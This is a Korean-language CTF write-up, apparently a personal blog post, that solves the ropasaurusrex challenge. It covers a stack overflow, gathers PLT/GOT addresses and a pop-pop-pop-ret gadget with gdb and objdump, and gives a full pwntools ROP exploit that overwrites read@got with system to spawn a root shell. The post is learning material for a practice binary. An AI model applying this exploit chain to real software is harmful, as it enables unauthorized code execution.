시작
안녕하세요 :D
이번엔 ROP를 배웠다면 꼭 한 번 풀어봐야 할 문제, ropasaurusrex 입니다!!
NX bit, Never Execute bit의 등장으로 LOB와 overthewire에서 신나게 때려박았던 쉘코드를 더 이상 실행할 수 없게 되었습니다.
이를 우회할 수 있는 기법 중 하나가 ROP, Return-Oriented programming 입니다.
간단하게 말하자면 RTL Chaining을 이용해
라이브러리에 흩어져 있는 함수들의 주소들을 알아오고, 연속적으로 호출해서
원하는 것을(쉘이라덜까 쉘..) 얻는 방법이에요.
RTL과 ROP에 관한 설명은 시간이 여유로울 때 정리하겠습니다 ㅎㅎ
이제 rop공룡을 잡으러 가볼까요??
Write UP
root@goorm:/workspace/LCH_Server/ropasaurusrex_LCH# ./ropasaurusrex
hello
WIN
사용자의 입력을 받고 WIN 을 출력해줍니다.
IDA로 볼까요??.. 라고 하고 싶지만 IDA를 구할 수 없는 이 환경..ㅠㅠㅠ
소스만 살짝 따오겠습니다.
int __cdecl main()
{
sub_80483F4();
return write(1, "WIN\n", 4u);
}
ssize_t sub_80483F4()
{
char buf; // [sp+10h] [bp-88h]
return read(0, &buf, 256u);
}
buf
배열은 0x88
, 136 bytes만큼 할당되어 있는데
read
함수는 256 bytes를 읽어오네요.
BOF에요 BOF!!
우리는 read()
와 write()
만을 가지고 system("/bin/sh")
를 끌어와야 합니다.
그 동안 풀어왔던 문제 중 pwnable.kr의 passcode 문제 기억나시나요??
fflush()
의 got를 overwrite 해서 쉘을 따는 문제였습니다.
[pwnable.kr passcode Write UP] https://powerco3e-lch.tistory.com/20?category=787786
이와 비슷하게 read()
나 write()
둘 중 하나의 got를 system
으로 덮어쓰고 인자값들을 넣어준다면 쉘이 똑 떨어지겠네요.
이를 위해 read@plt
와 write@plt
가 필요할 것 같습니다.
저는 read@got
를 overwrite 하겠습니다. read@got
의 주소도 구하겠습니다.
또한 함수들의 연속적인 호출을 위해여 gadget을 이용해야 하는데요!
[BUF] | [SFP] | [RET1] | [다음에 올 함수의 RET2] | [RET1의 인자값 1] …
위와 같이 스택프레임이 형성됩니다.
RET1은 인자값들을 끌어와서 함수를 실행시키고, 이것이 끝나면 EIP를 [다음에 올 함수 RET2]로 넘깁니다.
이 자리에 RET1의 인자값 개수만큼 POP을 해준 후 RET2를 붙인다면 연속적인 호출이 가능하게 되죠.
read()
와 write()
모두 3개의 인자를 가지니 pop pop pop ret, pppr
가젯의 주소가 필요하겠네요.
이제 ASLR을 우회해야 합니다!!
ASLR이란 프로그램이 실행될 때마다 함수의 주소가 바뀌는 메모리 보호 기법을 의미해요.
주소값이 랜덤하게 바뀌기 때문에 어느 위치에 이 함수가 있다!! 라고 딱 정할 수 가 없습니다.
때문에 두 함수간의 거리의 차, offset을 이용하면 프로그램이 실행되었을 때 할당된 메모리 주소를 유추할 수 있어요.
때문에 read()
와 system()
의 거리 차(offset)도 필요합니다.
자.. 이제 system()
의 인자만 넣어주면 되겠네요.
system()
은 두 개의 인자를 필요로 하는데, 첫 번째는 4 bytes 히든인자, 두 번째는 우리의 /bin/sh
입니다.
/bin/sh
를 저장할 공간의 주소 까지 필요하네요.
정리하겠습니다!
1. read@plt
2. write@plt
3. read@got
4. pppr
5. /bin/sh를 저장할 공간
6. offset (read() - system())
시나리오
1. read(0, [/bin/sh를 저장할 공간의 주소], len(“/bin/sh\00”)) → 표준입력으로 “/bin/sh”를 넣어준다
2. write(1, read@got, 4) → 프로그램이 실행 될 때 read@got의 주소를 leak
3. read(0, read@got, 4) → 표준입력으로 read@got의 주소에 read@got - offset 값을 넣어준다
4. read(“AAAA”, [/bin/sh를 저장한 공간의 주소]) → system으로 바뀐 read@plt를 호출, 쉘을 딴다!!
이제 하나하나 구해보자구요 ㅎㅎ
1. read@plt
2. write@plt
3. read@got
4. pppr
5. /bin/sh를 저장할 공간
6. offset (read() - system())
1, 2, 3번은 쉽죠?
gdb 좀 만져봤다~ 하시는 분들은 금방 구하셨을 거에요.
root@goorm:/workspace/LCH_Server/ropasaurusrex_LCH# gdb -q ./ropasaurusrex
Reading symbols from ./ropasaurusrex...(no debugging symbols found)...done.
gdb-peda$ p read
$1 = {} 0x804832c <read@plt>
gdb-peda$ p write
$2 = {} 0x804830c <write@plt>
gdb-peda$ x/3i 0x804832c
0x804832c <read@plt>: jmp DWORD PTR ds:0x804961c
0x8048332 <read@plt+6>: push 0x18
0x8048337 <read@plt+11>: jmp 0x80482ec
read@plt = 0x804832c
write@plt = 0x804830c
read@got = 0x804961c
이제 4번 pppr을 구해볼까요? objdump 처음 써봤는데 완전 신세계..
root@goorm:/workspace/LCH_Server/ropasaurusrex_LCH# objdump -d ./ropasaurusrex | grep -B3 ret
80482e8: 58 pop %eax
80482e9: 5b pop %ebx
80482ea: c9 leave
80482eb: c3 ret
--
80483bf: 83 c4 04 add $0x4,%esp
80483c2: 5b pop %ebx
80483c3: 5d pop %ebp
80483c4: c3 ret
--
80483e8: c7 04 24 2c 95 04 08 movl $0x804952c,(%esp)
80483ef: ff d0 call *%eax
80483f1: c9 leave
80483f2: c3 ret
--
804840f: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048416: e8 11 ff ff ff call 804832c <read@plt>
804841b: c9 leave
804841c: c3 ret
--
804843b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048442: e8 c5 fe ff ff call 804830c <write@plt>
8048447: c9 leave
8048448: c3 ret
--
8048450: 55 push %ebp
8048451: 89 e5 mov %esp,%ebp
8048453: 5d pop %ebp
8048454: c3 ret
--
80484b6: 5e pop %esi
80484b7: 5f pop %edi
80484b8: 5d pop %ebp
80484b9: c3 ret
80484ba: 8b 1c 24 mov (%esp),%ebx
80484bd: c3 ret
--
80484e4: 83 c4 04 add $0x4,%esp
80484e7: 5b pop %ebx
80484e8: 5d pop %ebp
80484e9: c3 ret
--
8048504: 59 pop %ecx
8048505: 5b pop %ebx
8048506: c9 leave
8048507: c3 ret
우리가 필요한건 pop pop pop ret 인데, 딱 하나 보이네요.
pppr = 0x80484b6
“/bin/sh”를 저장할 곳을 찾아볼까요?
root@goorm:/workspace/LCH_Server/ropasaurusrex_LCH# objdump -x ./ropasaurusrex
.
.
.
Sections:
Idx Name Size VMA LMA File off Algn
0 .interp 00000013 08048114 08048114 00000114 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.ABI-tag 00000020 08048128 08048128 00000128 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .note.gnu.build-id 00000024 08048148 08048148 00000148 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .hash 0000002c 0804816c 0804816c 0000016c 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .gnu.hash 00000020 08048198 08048198 00000198 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .dynsym 00000060 080481b8 080481b8 000001b8 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .dynstr 00000050 08048218 08048218 00000218 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .gnu.version 0000000c 08048268 08048268 00000268 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .gnu.version_r 00000020 08048274 08048274 00000274 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .rel.dyn 00000008 08048294 08048294 00000294 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
10 .rel.plt 00000020 0804829c 0804829c 0000029c 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
11 .init 00000030 080482bc 080482bc 000002bc 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .plt 00000050 080482ec 080482ec 000002ec 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .text 000001ac 08048340 08048340 00000340 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .fini 0000001c 080484ec 080484ec 000004ec 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
15 .rodata 0000000d 08048508 08048508 00000508 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
16 .eh_frame 00000004 08048518 08048518 00000518 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
17 .ctors 00000008 0804951c 0804951c 0000051c 2**2
CONTENTS, ALLOC, LOAD, DATA
18 .dtors 00000008 08049524 08049524 00000524 2**2
CONTENTS, ALLOC, LOAD, DATA
19 .jcr 00000004 0804952c 0804952c 0000052c 2**2
CONTENTS, ALLOC, LOAD, DATA
20 .dynamic 000000d0 08049530 08049530 00000530 2**2
CONTENTS, ALLOC, LOAD, DATA
21 .got 00000004 08049600 08049600 00000600 2**2
CONTENTS, ALLOC, LOAD, DATA
22 .got.plt 0000001c 08049604 08049604 00000604 2**2
CONTENTS, ALLOC, LOAD, DATA
23 .data 00000008 08049620 08049620 00000620 2**2
CONTENTS, ALLOC, LOAD, DATA
24 .bss 00000008 08049628 08049628 00000628 2**2
ALLOC
25 .comment 0000001c 00000000 00000000 00000628 2**0
CONTENTS, READONLY
bss
영역도 보이지만 dynamic
영역이 공간이 더 넓네요. 너로 정했습니다!!
/bin/sh를 저장할 공간 = 0x8049530
마지막으로 offset이 남았습니다.
gdb로 한 번 실행시킨 후 메모리를 볼까요?
gdb-peda$ r
Starting program: /workspace/LCH_Server/ropasaurusrex_LCH/ropasaurusrex
warning: Error disabling address space randomization: 명령을 허용하지 않음
AAAA
WIN
[Inferior 1 (process 3982) exited with code 04]
Warning: not running
gdb-peda$ p system
$1 = {} 0xf75f0e70
gdb-peda$ p read
$2 = {} 0xf768cd20
| 0xf75f0e70 - 0xf768cd20 | = 0x9beb0
offset (read() - system()) = 0x9beb0
1. read@plt = 0x804832c
2. write@plt = 0x804830c
3. read@got = 0x804961c
4. pppr = 0x80484b6
5. /bin/sh를 저장할 공간 (dynamic) = 0x8049530
6. offset (read() - system()) = 0x9beb0
조각이 다 맞추어졌습니다!!
완성된 퍼즐을 액자로 옮겨봐요
#!/usr/bin/env python
#-*- coding:UTF-8 -*-
from pwn import *
p = process('./ropasaurusrex')
read_plt = 0x804832c
write_plt = 0x804830c
read_got = 0x804961c
pppr = 0x80484b6
dynamic = 0x8049530
offset = 0x9beb0
binsh = "/bin/sh\00"
# overwrite buf + SFP
payload = "A" * 140
#read로 dynamic 영역에 "/bin/sh" 저장
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(dynamic)
payload += p32(len("/bin/sh\00"))
#write로 read@got 주소 leak
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
#read로 read()를 system()으로 overwrite
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(read_got)
payload += p32(4)
#조작된 read로 system 실행
payload += p32(read_plt)
payload += "AAAA" #system의 히든 인자
payload += p32(dynamic)
#입력
p.send(payload)
p.send("/bin/sh\00")
read = u32(p.recv(4))
system = read - offset
p.send(p32(system))
p.interactive()
byebye_ropa.py
를 짰습니다.
사실 pwntools도 처음 사용해봤는데 너무 재밌네요ㅠㅠ 포너블 세상엔 재밌는 것 투성입니다 증말
root@goorm:/workspace/LCH_Server/ropasaurusrex_LCH# ./byebye_ropa.py
[+] Starting local process './ropasaurusrex': pid 4233
[*] Switching to interactive mode
$ whoami
root
Exploit!!
마무리
나만 rop공룡 못 풀었었는데 이젠 풀었따!!!! 나도 풀었다고!!!
objdump, pwntools, rop.. 처음 하는 것 투성이었지만 어찌어찌 잘 끝났습니다.
좋은 문제 푼 것 같아서 뿌듯하고 후련하네요 ㅎㅎ
읽어주셔서 감사합니다 :D
'CTF_Write_UP' 카테고리의 다른 글
[2017 CSAW CTF] pilot (0) | 2019.05.30 |
---|---|
[Codegate 2018] BaskinRobins31 (0) | 2019.05.27 |
[2019 DefCon Quals] speedrun-002 (0) | 2019.05.25 |
[2019 DefCon Quals] speedrun-001 (0) | 2019.05.23 |
BOF : FTZ-무임승차 문제 분석 (0) | 2019.04.13 |